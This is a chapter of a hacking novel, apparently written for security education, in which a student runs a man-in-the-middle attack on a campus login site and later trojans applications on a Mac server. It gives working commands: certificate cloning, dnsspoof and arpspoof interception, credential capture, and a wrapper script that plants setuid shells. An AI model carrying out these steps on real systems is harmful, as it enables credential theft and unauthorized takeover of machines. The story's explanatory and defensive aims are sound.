Day 3: Accessing the Network

The next Monday, Flir headed out for the quad. It was just after noon, when the quad became crowded with plenty of other students, socializing, eating their lunches and surfing the web on laptops. Flir sat down on the ground, placing his backpack down next to him with the antenna facing the lab building and poking out only very slightly. He opened his laptop and configured it to form the other side of the ad-hoc wireless network:

 # iwconfig eth1 channel 3 # iwconfig eth1 enc on # iwconfig eth1 key 458E50DA1B7AB1378C32D68A58129012 # iwconfig eth1 essid lazlosbasement 

He remembered that the rogue laptop would only accept communications from an IP address of 2.3.2.20 on a network card with MAC address AA:BB:DD:EE:55:11.

 # ifconfig eth1 hw ether AA:BB:DD:EE:55:11 # ifconfig eth1 2.3.2.20 netmask 255.0.0.0 up 

He had picked a fake MAC address for his controlling laptop, to make this somewhat harder to trace back to him if the lab staff ever found the rogue laptop. He had also used an external keyboard with the rogue machine, to keep his own hair and dead skin cells , as well as fingerprints , from its keyboard. This was probably overkill, considering both his immunity and the fact that the lab staff would probably never find the machine. Still, Flir couldn t be too careful. He d seen plenty of frightening things happen at his school during the last year, from research grant fraud to scary DoD laser research projects to geniuses in their pajamas. It had all made him a little paranoid .

Now that the wireless link was established, he rotated the antenna slightly to get a better signal. Each time he rotated the antenna, he re-ran iwconfig to check the signal strength. Once he got fairly good signal strength, he set about to login to the rogue to execute his plan.

He added the Rogue system to his /etc/ hosts file so that he d be able to reference it by name instead of by IP address:

 # echo "rogue 2.3.2.1" >> /etc/hosts 

He ssh-ed in to the laptop, immediately su-ing to root. Most of his tools required root privilege, but he wanted to reduce the risk that the rogue system would be rooted if discovered . On top of Bastille s normal measures, he had prevented the ssh daemon from allowing logins to any account except the kent account.

 # ssh kent@rogue $ su - 

He first set about to create an SSL certificate that would look just like the one on the my.Ptech.edu server.

He had taken several screenshots the last time he had connected to my.ptech.edu and pulled the last one up now, so as to get every detail right.

Certificate Viewer

On second thought, he considered , maybe I should get this information with an openssl client. The openssl client program was one step closer to the actual library routines that gathered certificates and parsed the fields. Further, it was the program used to create those certificates. For Flir s certificate to look as close to Frieda s as possible, it would be smartest to parse her certificate with this program. He fired up the openssl program in client mode:

 $ openssl s_client -connect my.ptech.edu:443 CONNECTED(00000003) depth=0 /C=US/ST=CA/L=University Towne/O=Pacific Institute of Technology/OU=Computing Resources - Student Information Systems/CN=my.ptech.edu/emailAddress=[e-mail] verify error:num=18:self signed certificate 

This told him that the client had connected to the server and begun following the chain of signatures, which was excessively short in this case. Reading further on, he found the exact certificate information.

 subject=/C=US/ST=CA/L=University Towne/O=Pacific Institute of Technology/OU=Computing Resources - Student Information Systems/CN=my.ptech.edu/emailAddress=[e-mail] issuer=/C=US/ST=CA/L=University Towne/O=Pacific Institute of Technology/OU=Computing Resources - Student Information Systems/CN=my.ptech.edu/emailAddress=[e-mail] 

Then he found the key type information, which he'd need to get a perfect match.

 New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA Server public key is 1024 bit SSL-Session:     Protocol  : TLSv1     Cipher    : DHE-RSA-AES256-SHA 

He started by setting the rogue system s date to the exact date on which fpeterman (Frieda Peterman, according to the campus directory) had created her certificate. He then began by creating an RSA keypair.

 # openssl genrsa -out myptech.key 1024 Generating RSA private key, 1024 bit long modulus ........++++++ ..............++++++ e is 65537 (0x10001) 

Next, he created a certificate request out of the key, adding the specific information identical to Frieda s self-signed certificate:

 # openssl req -new -key myptech.crt.key -out myptech.crt.csr You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]:US State or Province Name (full name) [Some-State]:CA Locality Name (eg, city) []:University Towne Organization Name (eg, company) [Internet Widgits Pty Ltd]:Pacific Institute of Technology Organizational Unit Name (eg, section) []:Computing Resources - Student Information Systems Common Name (eg, your name or your server's hostname) []:my.ptech.edu Email Address []:[e-mail] Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: An optional company name []: 

He then had to sign his request, creating a certificate. There was a reason this next step was normally separate from the first! You weren t supposed to sign your own certificates - you were supposed to send them to a certificate authority to sign.

 # openssl x509 -req -days 365 -in myptech.crt.csr -signkey myptech.crt.key -out myptech.crt Signature ok subject=/C=US/ST=CA/L=University Towne/O=Pacific Institute of Technology/OU=Computing Resources - Student Information Systems/CN=my.ptech.edu/Email=[e-mail] Getting Private key 

This process created a pair of files, myptech.crt and myptech.crt.key, which contained the public and private keys, respectively, that could be placed very easily on an SSL-enabled Web server.

Now, since Frieda hadn t wanted to go through whatever budget process Pacific Tech required to pay for a signed certificate, or perhaps hadn t been approved for the funding, no user could tell the difference between Frieda s certificate and Flir s.

Man in the Middle in a Switched Environment “ Exploiting the Self-Signed Cert

Flir could download the front page of the my.ptech.edu application and place it on his own Web server, configured to use this certificate. From the point of view of a student, Flir s Web server would look just like the one it was replacing. The difference would be that the application that Flir wrote would accept the user s name and password, log them to a file, and then transparently pass the data along to the real application.

Flir began writing the Perl code that would form that rogue application when he thought, I really should do a google search. Someone might have already written a generic man-in-the-middle web application that I can customize to do this, or at least steal code from!

His google search hit paydirt. He found dsniff s webmitm, short for web monkey in the middle, which would allow a client application to establish an SSL connection to it and would then establish an SSL connection to the client s real destination, which it got from the HTTP Host headers. It would thus be able to decrypt the data that each sent to each other and sniff the connection. Essentially, it worked as an HTTPS proxy. Normally, this kind of tool wasn t a threat, because the client s browser would tell them something was amiss, that the certificate supplied by webmitm wasn t signed by an already-known certificate authority. But since my.ptech.edu used a certificate that also wasn t signed by an already-known certificate authority, the students were already getting that message. webmitm would be undetectable!

Flir continued reading papers and online man pages on dsniff. He learned that he d need to spoof, or fake, DNS responses in the lab, so the lab machines would communicate with his rogue laptop instead of the real my.ptech.edu machine. dsniff included a tool called dnsspoof to do this.

Finally, since Pacific Tech s labs were on a switched network, Flir would need to spoof ARP responses to sniff, or eavesdrop on, the network. He planned to use dsniff s arpspoof tool to force all traffic destined for the gateway to go through his Rogue laptop first.

Flir downloaded dsniff from http://naughty.monkey.org/~dugsong/dsniff/ and compiled it for the rogue machine. It depended on two libraries not commonly installed with the system, libnet and libnids. He downloaded each of them, compiling and installing them with dsniff.

Flir needed to set up the man-in-the-middle attack. It was important to perform the steps in the right order, to prevent users from losing functionality while he was in the middle of the process. Otherwise, he d stand a greater chance of being detected. Flir s plan wouldn t succeed if his work was detected this early.

He first set to configure webmitm to receive and forward connections. webmitm actually runs the same openssl commands that Flir had run before, rather than using the libraries to create the self-signed certificate. This seemed to have embarrassed its creator, as he had left the following comment in the code right above the commands:

 /* XXX - i am cheap and dirty */ 

Flir got a chuckle out of the creator, Dug Song s, embarrassment, mostly because Dug had little reason to be embarrassed. He had created an excellent suite of tools for demonstrating people s bad choices to them and thus convincing them to change them for the better.

With webmitm running, Flir s web proxy was ready. He would now set up dnsspoof to answer all requests for my.ptech.edu with Rogue s IP address. Part of dsniff, dnsspoof s usage was amazingly elegant. You first edited a hosts-to-spoof file, which was stored in the normal UNIX /etc/hosts format. Flir created his file with a single command:

 # echo "192.168.3.50    my.ptech.edu" >/etc/hosts-to-spoof 

Next, he told the program to listen on the network for all DNS traffic. It would sniff the network for DNS requests. Any requests for data included in Flir s hosts-to-spoof file would get a very quick reply from dnsspoof.

 # dnsspoof -f /etc/hosts-to-spoof dst port udp 53 

dnsspoof s responses would always arrive first, since they were smaller, faster, and had far less data to manage than the campus main DNS servers. In this case, dnsspoof s responses would also arrive first because the rogue laptop was network-closer than the real DNS servers. While queries could reach the rogue at LAN speeds, they needed to go through two routers to get to the main campus DNS servers. Like most Universities, Pacific Tech used central DNS servers that served every network on campus that didn t specifically have its own DNS servers. While those DNS servers were located in the same building as the lab, those two router hops took time. The routers involved, at the very least, had to receive each packet arriving on one network interface, read its destination IP address, decide which network interface to forward it on to, and then copy the packet data into the relevant outbound buffer on that network interface. Because of this difference in position, the fake responses would arrive before the original query even reached the real DNS servers. When the real responses arrived later, they d be ignored, since they weren t valid responses to any outstanding queries.

Wait, Flir thought, all traffic going through the router is going to have to go through Rogue first. As long as I m routing the DNS queries, why don t I just avoid forwarding any queries for my.ptech.edu on to the real DNS servers? He would use the iptables hex-based string matching to selectively block packets that were requests for my.ptech.edu. He had been excited when Mike Rash released this modification to the normal iptables string matching and had been hoping to find occasion to use it.

Flir prepared to construct the hex string by glancing over a section of RFC 1035 online (www.crynwr.com/crynwr/rfc1035/rfc1035.html#4.1.) The RFCs formed the documentation of the protocol standards for the Internet. Flir was surprised at how easy this one was to read. He thought about that for a second, why would RFCs be easier to read than most reference documentation? Well, he thought, they had to be. Since they were the form in which people proposed standards, they d need to be easy to understand to be successful! Otherwise, people would never finish reading the document, tossing it aside and reading the next proposal.

He set about to build the necessary bytes for a forward (name-to-IP) lookup on my.ptech.edu. The end string was:

 01 00 00 01 00 00 00 00 00 00 02 6d 79 05 70 74 65 63 68 03 65 64 75 00 01. 

Each pair of digits, called an octet, represented a single byte. The first ten bytes of his pattern were the 10 bytes that preceded every single normal recursive query for a domain.

 01 00 00 01 00 00 00 00 00 00 

The next byte specified how many letters were in the first part of the my.ptech.edu domain name, the my, and was thus 02.

 02 

The next two bytes were the letters M and Y, encoded into ASCII and written in hex:

 6d 79   M   Y 

The next 10 bytes went the same way:

 05 70 74 65 63 68 03 65 64 75   5  P  T  E  C  H  3  E  D   U 

The last two bytes said that this request was an A request:

 00 01 

He checked his pattern against a tcpdump of a request for my.ptech.edu. Satisfied, he quickly added an iptables command to drop any packets matching that hex string:

 # iptables -I FORWARD 1 -p udp --dport 53 -m string --hex-string "01 00 00 01 00 00 00 00 00 00 02 6d 79 05 70 74 65 63 68 03 65 64 75 00 01" -j DROP 

Constructing the string and the iptables command had taken 10 minutes, but Flir thought it well spent. Workstations that got a fake reply back for their my.ptech.edu requests would not get a real reply, since Flir s machine would neglect to forward their original requests on to the real router and thus to the real DNS servers.

Meanwhile, the dnsspoof program would immediately see packets from any other machines hooked to the same switch port as the rogue laptop. At the very least, this included the machine it was sharing a desk with, but probably included at least a few more in the lab, if not the entire lab. But Flir wanted to get the entire lab and every other machine on the network before the first router. He wanted his rogue laptop to become the outbound router for the six labs, transparently forwarding traffic to the real router. The dsniff tool arpspoof made this very simple.

For one computer on an IP network to send an IP packet to another, it must send it via network links. It sends a packet to the network s router, which is just a single-purpose computer that takes in packets from one network interface and transfers them to one of the other network interfaces that it s connected to. For a packet to reach to that router, it has to be encapsulated in a network-level datagram, which in this case was an Ethernet frame. The sending host has to know the MAC (Ethernet card hardware) address of the router. In the majority of cases, it finds this address out dynamically by sending out a broadcast ARP (Address Resolution Protocol) packet, effectively asking every host on the network if they re the owner of the router s IP address. One machine responds with an ARP reply, just saying the owner of that IP address can be found at this MAC address. The sending machine stores that answer in an ARP cache for a set period of time, during which it can send Ethernet frames to the destination host without ARPing first. After that set period of time, the time to live, passes , it has to ask again. It s a very trusting system, like the way most computer networks are arranged.

Arpspoof takes advantage of this trust. It sends out ARP replies for an address for which you wish to receive traffic, broadcasting two replies per second, in the hopes that it will populate most machines ARP caches for the IP address before any real replies make it to the machines and that it will replace existing cache entries when they expire. Most vendor s IP stacks will actually throw out their old cache entry when they receive a new one, which makes things even easier. Flir planned to use arpspoof to redirect all traffic sent to the router. It would go to his laptop instead, which could forward it on to the real router.

This was especially important on a switched network. Most people thought you couldn t sniff a switched network, but that was simply because they didn t think deeply enough about what switches really do. Switches just keep track of which MAC addresses go to which ports. Instead of broadcasting each Ethernet frame to all ports, the switch sent the Ethernet frames to whichever port corresponded to the destination MAC address.

The vital fact to understand was that switches work at the link (Ethernet) layer, not the network (IP) layer. The switch doesn t know anything about IP addresses. It just sends Ethernet frames to whatever destination MAC addresses the sending host has set. And the sending host sends out frames to whichever host claimed the IP address for the router through ARP.

Flir would configure the rogue laptop to claim the router s IP address. First, he set it to route whatever packets it received that werent destined for it, to avoid causing even a temporary routing outage :

 # echo 1 > /proc/sys/net/ipv4/ip_forward 

Then he told arpspoof to start broadcasting ARP replies to all hosts, saying that the router s IP address (10.0.0.1) belonged to the rogue laptop s network card s MAC address, 0:3:47:92:29:f6.

 # arpspoof 10.0.0.1 0:3:47:92:29:f6 0:3:93:ef:9e:33 0806 42: arp reply 10.0.0.1 is-at 0:3:47:92:29:f6 0:3:47:92:29:f6 0:3:93:ef:9e:33 0806 42: arp reply 10.0.0.1 is-at 0:3:47:92:29:f6 0:3:47:92:29:f6 0:3:93:ef:9e:33 0806 42: arp reply 10.0.0.1 is-at 0:3:47:92:29:f6 0:3:47:92:29:f6 0:3:93:ef:9e:33 0806 42: arp reply 10.0.0.1 is-at 0:3:47:92:29:f6 0:3:47:92:29:f6 0:3:93:ef:9e:33 0806 42: arp reply 10.0.0.1 is-at 0:3:47:92:29:f6 0:3:47:92:29:f6 0:3:93:ef:9e:33 0806 42: arp reply 10.0.0.1 is-at 0:3:47:92:29:f6 

It sent out a fake broadcast ARP reply every two seconds and would continue to do so until it was interrupted by a CTRL + C or similar UNIX signal. At that point, the program s SIGHUP, SIGTERM, and SIGINT signal handler would send out three copies of a packet the author hoped would clear fake data from all machines ARP caches. The packet was an ARP reply that claimed the IP address was owned by a null (all-zeroes) MAC address:

 0:0:0:0:0:0. 

Before compiling arpspoof, Flir had made a simple one-line code modification to make these ARP reply packets give the real MAC address of the router. It seemed cleaner to put things back the way he d found them.

Of course, dnsspoof probably wasn t strictly necessary here. Since all traffic destined for the router was passing through the rogue laptop, Flir could just configure the kernel on that laptop to rewrite the packets, using the Linux kernel s NAT (Network Address Translation) code with the commands:

 iptables -t nat -A PREROUTING -d my.ptech.edu --dport 443 -j DNAT --dnat-to 127.0.0.1 iptables -t nat -A PREROUTING -d my.ptech.edu --dport 80 -j DNAT --dnat-to 127.0.0.1 

This would rewrite all packets going to the application with the rogue s IP address as their destination, effectively rerouting them. It would also revise the corresponding reply packets with the source address of the real application.

Using dnsspoof was only really necessary when you wanted to send the traffic to another machine or didn t want the performance drag of rewriting all those packets. But Flir didn t know how much performance drag was involved and didn t want to risk slowing the network or, worse , dropping packets. It seemed wiser to go with a simpler solution.

Flir checked back on the dnsspoof process, which had just begun to get the redirected DNS requests, now forced by arpspoof to flow through the rogue laptop to get to the real router.

 # dnsspoof -f /etc/hosts-to-spoof dst port udp 53  dnsspoof: listening on eth0 [src host 10.0.3.97] 10.0.3.97.50662 > 10.0.0.1.53: 8686+ A? my.ptech.edu 10.0.3.97.50662 > 10.0.0.1.53: 8686+ A? my.ptech.edu 10.0.3.97.50662 > 10.0.0.1.53: 673+ A? my.ptech.edu 

Finally, he looked at his webmitm screen and already saw the form data from two logins:

 webmitm: new connection from 10.0.3.24.49487 POST /index.pxt HTTP/1.1 Host: my.ptech.edu Accept: */* Accept-Language: en Pragma: no-cache Connection: Keep-Alive Referer: https://my.ptech.edu/ User-Agent: Mozilla/4.0 (compatible; MSIE 5.22; Linux) Cookie: pxt-session-cookie=404280206xc492734fa653ee907746675499470445; cm.A-16fK AJPSNNAO8ctcADt3X8EFhutbd3=1071136544; my_auth_token=0:1080668843xe6824354f1359a dba7a09ddca9769cf3 Content-type: application/x-www-form-urlencoded Extension: Security/Remote-Passphrase Content-length: 80  username=lalexander&password=clustercomputing&pxt_trap=myp%3Alogin_cb&cookie_tst=1 ----------------- 

At any other time, he probably wouldn t have gotten quite so much account information so quickly. But this was registration time and students were competing to get into classes. The system was geared to give earlier registration based on the number of credits earned so far, weighted additionally by GPA. Successful longer- attending students had better odds of getting into a class than either their less studious counterparts, or students who had more time to graduate. Every hour from 8 am until 10 pm for the next two weeks, registration opened to a slightly greater subset of the student body. Flir would need to keep the rogue laptop sniffing during this 14-hour window for the next two weeks to get names and passwords for every student who used the lab computers to register via the my.ptech.edu application.

Flir watched the logins a little longer to make sure things were going well and then detached the screen session with a Ctrl + A + D key sequence. webmitm would faithfully log account information while Flir attended classes. He put his controller laptop in sleep mode, where it would use extremely minimal battery power, simply enough to keep the RAM from losing its contents. He slid it back into his backpack and walked back to his class, not realizing that he d missed the first 20 minutes.

Creative Use of an Ipod when There s No Time for Class

Flir arrived in the classroom to find another Pacific Tech oddity: 50 tape recorders sitting on 50 desks, recording a lecture being played back from an aging reel-to-reel at the front of the room. Last year he had observed this scene several times. The first couple times, he had always been surprised that no one stole and resold the tape recorders. On the third occasion, he finally realized that the tape recorders were safe because his Pacific Tech classmates were too short on time to even ponder the idea of taking an afternoon off to re-sell tape recorders. The few times they did take to relax were far too precious to be spent stealing. Besides, that was too close to work and most of them were dangerously close to cracking under the pressure anyway.

He sat down and began recording his lecture to his iPod. He d need to get a copy of the missed first half of the lecture though, since this professor insisted on not teaching entirely out of the book. Work smarter , not harder, his mentor Chris had always said. He pulled one of the tape recorders aside and rewound the tape. He strung a male-to-male headphone cable from his laptop s microphone jack to the tape recorder s headphone jack, set the laptop to record, and set the tape recorder to play.

Twenty minutes later, Flir stopped his recording from the tape deck and rewound the tape. He grabbed the second half of the lecture from his iPod as it completed, leaving 10 minutes left in the class. Flir spent the next five minutes burning an audio CD of the lecture and left it with the tape recorder. He didn t want to shaft the other student out of the lecture ” he just wanted the help and was pretty sure the other student wouldn t mind. Just to be even more helpful, he d written the whole lecture s mp3 to a data track at the end of the CD and attached a note explaining what he d done.

Flir moved to his next class, knowing there was little he could do but wait. At the end of these two weeks, he d have names and passwords for every student who used the my.ptech.edu web application from the labs. With 40,000 students, Pacific Tech probably had 30,000 of those registering for next semester. Many of those would register from home, dorms or their own laptops, but that probably left 10,000 using the computer labs. 10,000 students would soon be giving up their web application passwords, and thus their social security numbers and most other student information, to a well-placed laptop. But that would take time, so Flir would wait. Later that day, Flir wandered back to the quad to check on his work. He checked the sniffer, which at this point had collected over a hundred account names and passwords. He copied the sniffer s output file to the Controller laptop and was about to disconnect when he thought, Wait, I have over a hundred passwords now that work on every general-use computer on campus! Why not poke around with one of them?

Old School Account Theft on a New Operating System

To make password management easier on both the students and the my.ptech.edu administrator, each student s web app password was set to their campus-wide computing password. That was sure convenient ! But this convenience gave the attacker a much greater bounty when he compromised either the web application or any machine on campus. In this case, it meant that Flir could log in to any of the general computers on campus with the account passwords he d gotten from the web application.

He picked one of his accounts at random, the user mrash, who had the password tables!rocks6, and decided to log in to the one of the general campus computing machines. Most everyone on campus used these to compile programs, try out UNIX environments, and run general programs. There were Sun Solaris machines, PA-RISC systems running HP-UX, SGI s running Irix, Intel machines running Linux and even a few Apple XServes running OS X. Some old-school-UNIX users like Flir actually read mail on these systems, using text-based mail readers like mutt. Flir picked one, mac3.gnrl.ptech.edu, and was about to fire up an ssh session to the Apple G3 XServe when he realized that it was unlikely , but not impossible , that the student would notice the illicit login and mention it to a campus administrator. This campus administrator would check the source IP of the login and might start looking for that IP on campus. No, it was better to connect from a temporary IP address.

He pulled up a root shell on the Rogue laptop and set up an alias IP address for the host:

 # ifconfig eth0:0 10.0.50.49 

He then told ssh to use the alias IP address when connecting to the Xserve:

 $ ssh -b 10.0.50.49 [e-mail] 

Once on the Apple, he started to hunt around. It was one of the newer machines in Pacific Tech s general computing cluster, bought about a year ago. Flir wondered if he could compromise the machine and started wandering around, taking stock of the machine s configuration. First he checked to see if he could run nidump to get a list of shadowed passwords.

 [mac3:~] mrash% nidump passwd . /usr/bin/nidump: Permission denied. 

Unfortunately, the administrators had disabled non-admin nidump usage in accordance with a security article.

 [mac3:~] mrash% ls -l /usr/bin/nidump -r-xr-xr--  1 root  wheel  23996 Nov   7 01:58 /usr/bin/nidump 

He ran netstat and ps commands, to learn what programs were running and which were listening to the network.

 [mac3:~] mrash% netstat -an  grep LISTEN [mac3:~] mrash% ps aux 

He started or connected to some of these programs to gain version numbers that he could check later against databases of vulnerabilities. Finally, he ran four find commands on the system.

 [mac3:~] mrash% find / -perm -04000 -type f -ls [mac3:~] mrash% find / -perm -02000 -type f -ls [mac3:~] mrash% find / -perm -002 -type f -ls [mac3:~] mrash% find / -perm -002 -type d -ls 

The first two commands would find Set-UID and Set-GID programs. Set-UID/GID programs gave an ordinary user the rights and privileges of another user, usually root, for a particular purpose. For instance, every user should be able to change their own password, but you wouldn t want to make the password or shadow file world-writable. Users would be able to change other people s passwords and possibly create accounts or modify their own privilege levels. Instead, you make a world-executable SUID-root program that can modify the necessary files, but only lets the user change the file in one way, so as to allow them to change only their own password. The downside of the Set-UID idea is that the program still runs with root privilege, which is fine if you assumed no bugs or security vulnerabilities. When someone did find a security vulnerability in a Set-UID program, it usually meant that any user on the system could become root easily.

The next two commands listed any files or directories, respectively, which could be modified by any user. There were very few world-writable directories in most UNIX machines nowadays, but Flir knew that OS X was relatively young. In their youth, most operating systems made the mistake of leaving vital directories world-writable. The last find command hit paydirt:

 17    0 d-wx-wx-wx    2 root     unknown        68 Sep 22  2003 /.Trashes /: /.Trashes: Permission denied 952221    0 drwxrwxrwx    4 dna      admin         136 Mar 16 19:30 /Applications/Gimp.app 706416    0 drwxrwxrwx    6 root     admin         204 Nov 26  2002 /Applications/GraphicConverter US 805799    0 drwxrwxrwx   17 dna      admin         578 Feb  6 23:15 /Applications/Microsoft Office X 866956    0 drwxrwxrwx    3 dna      admin         102 Jan 13 15:42 /Applications/Mozilla.app 385562    0 drwxrwxrwx    3 dna      admin         102 Oct  7  2003 /Applications/buildDMG 385562    0 drwxrwxrwx    3 dna      admin         102 Oct  7  2003 /Applications/DesktopManager 385562    0 drwxrwxrwx    3 dna      admin         102 Oct  7  2003 /Applications/MacPython ... 714342    0 drwxrwxrwx    2 root     wheel          68 Jan  8  2003 /System Folder/Startup Items ...   8201    0 drwxrwxrwt    6 root     wheel         204 Apr  7 21:15 /Applications/Mozilla.app 

There were around 35 world-writable directories. Flir couldn t believe the number of world-writable subdirectories in /Applications alone. It looked like every third-party application that hadn t been compiled from scratch was in a world-writable /Applications subdirectory. This had bought the system a one-way ticket to Trojan Horse City!

Flir understood UNIX very well. He understood this facet of UNIX ever since he had run more on a directory and thought about the ramifications . A directory was just a mapping between filenames and inodes. The inodes told the system what hard disk locations the files data was stored on, but also kept most of the file s metadata. Most sysadmins forget though that the directory itself held domain over the filenames. It was the construct that mapped filenames to inodes. If you could write to a directory, you could change the names of any file it contained and could create other files. He looked at the directory /Applications/Gimp.app. It contained a single subdirectory called Contents, which was also, thankfully, world-writable. He listed this directory:

 [mac3:~] mrash% ls -l /Applications/Gimp.app/Contents/ total 16 -rw-r--r--   1 dna  admin  851 Apr  5 03:48 Info.plist drwxrwxrwx   3 dna  admin  102 Apr  5 03:48 MacOS -rw-r--r--   1 dna  admin    8 Apr  5 03:48 PkgInfo drwxrwxrwx   7 dna  admin  238 Apr  5 03:48 PlugIns drwxrwxrwx  12 dna  admin  408 Apr  5 03:48 Resources 

Reading the Info.plist file told you what binary was really executed when someone ran open /Applications/Gimp.app or clicked on the Gimp icon in the /Applications finder listing:

 [mac3:~] mrash% cat /Applications/Gimp.app/Contents/Info.plist         <key>CFBundleExecutable</key>         <string>Gimp</string>         <key>CFBundleIconFile</key> 

So the program that got run here was Gimp. This program was always found in the Contents/MacOS subdirectory, which was also world-writable. Since Flir could write to the directory, he could rename Gimp to .Gimp and create his own Gimp file. Users would run Flir s Gimp program instead of the real one.

Flir wrote his own Gimp program, which he could replace the real Gimp with:

 [mac3:~] mrash% cat >.Gimp.new #!/bin/sh cp /bin/zsh /Users/mrash/Public/Drop\ Box/.shells/zsh-`whoami` chmod 4755 /Users/mrash/Public/Drop\ Box/.shells/zsh-`whoami` ./.Gimp 

He hit CTRL + D to end the file and then quickly replaced Gimp with his new one.

 [mac3:~] mrash% mv Gimp .Gimp [mac3:~] mrash% mv .Gimp.new Gimp [mac3:~] mrash% chmod 0755 Gimp 

Now whenever a user ran Gimp, he ran Flir s wrapper script, which ran two lines of shell script before running the real Gimp. Those two lines created a shell in mrash s home directory, named for the victim user and Set-UID to that user. Flir would be able to run that shells to get the exact same level of privilege that user had on the system. He had chosen zsh over the more common sh or csh shells specifically because sh and csh both seemed to check if they were running Set-UID and changed their behavior to prevent this sort of thing. zsh lacked these pesky checks.

He had created the .shells directory in /Users/mrash/Public/Drop\ Box/ because it was already a world-writable directory and thus would not trigger alarms from any scripts looking for new world-writable directories.

Flir did the same for every world-writable directory in /Applications as he had done to /Applications/Gimp.app, wrapping each application so that it would create a Set-UID user shell before running the real program. He was able to wrap Mozilla, DesktopManager, MacPython, buildDMG, Gimp, and Microsoft Office, though he wasn t sure what Mozilla or Office were doing on a rack-mounted machine. It was probably an oversight “ the University probably just had one set of software that got installed on every Computing Services-controlled Mac, regardless of purpose.

This binary wrapping would probably get Flir a number of shells over time. Some of these could be very interesting, but Flir knew that he d get an administrator shell sooner or later. Looking over the list of applications, he hoped that an administrator would use buildDMG to package software distributions or any of the other tools. Sooner or later, an administrator was liable to run that program. If he did it as root, it would give Flir ownership of the entire system. Even if he didn t it would give Flir an additional level of privilege, an account in the powerful staff group . If Flir could guess or crack that account s password, he could even use sudo to get root. He could even try modifying that account s PATH to effectively replace sudo and su, so as to steal the account s password, though that measure had a greater chance of being caught by a wary administrator.

We re Sorry “ the Security Hole is Fixed Only in the Next Version

Flir couldn t believe his luck at finding so many world-writable directories. He wondered if this was a well-known vulnerability in OS X and did a SecurityFocus.com search for OS X vulnerabilities. He found an entry in the bug database that led him to a @Stake security advisory at www.securityfocus. com/advisories/6004.

Reading the advisory, he learned that it affected all software installed by .dmg (disk image) file, when the sysadmin was using the recommended Finder GUI instead of the command-line. In essence, the finder reset permissions on all directories installed in this way to 777 granting full permissions for all users.

Flir was shocked by the vendor response section, which read:

 This is fixed in Mac OS X 10.3 where Finder will preserve the permissions on copied folders. 

He had assumed, as he read about the vulnerability, that the Pacific Tech sysadmins had simply been lax in installing security updates. Instead, it seemed that the vendor had just hung 10.2 users out to dry for the vulnerability. It was almost as if they were using this as another entry for 10.3 s feature list! Flir googled for an End of Life announcement for 10.2, but found none. There had been security updates for 10.2 since this issue s announcement, but none corrected the problem.

Flir couldn t believe that a vendor would leave a security issue unresolved like this. Especially in the face of Apple s automatic patch distribution, which had implicitly trained most administrators to believe that if they kept a system fully patched, they d eliminate all root vulnerabilities that the vendor knew about. Flir thought to himself, Wow, Apple must have really underestimated this one!

Flir disconnected from mac3 and set about removing the second IP address from the rogue laptop:

 # ifconfig eth0:0 down 

Flir wandered back to his dorm, shaking his head as he thought of what the vendor s underestimation would do to the security of their operating system.

Back at the dorm, Flir found Jordan in her room assembling a homemade hard drive MP3 player from an Aiwa in-dash car tape deck. She was replacing the entire tape-loading and playback assembly with a full- sized hard drive. This drive is huge. I can put 256-bit maximum variable bit rate encoded MP3 s on here, she explained. I could even make it removable, but that wouldn t leave room for the shock -absorbers

She trailed off as she began soldering the $30 MP3 decoder card she d bought online to leads from the tape deck s body. Flir walked back to his room to catch some sleep.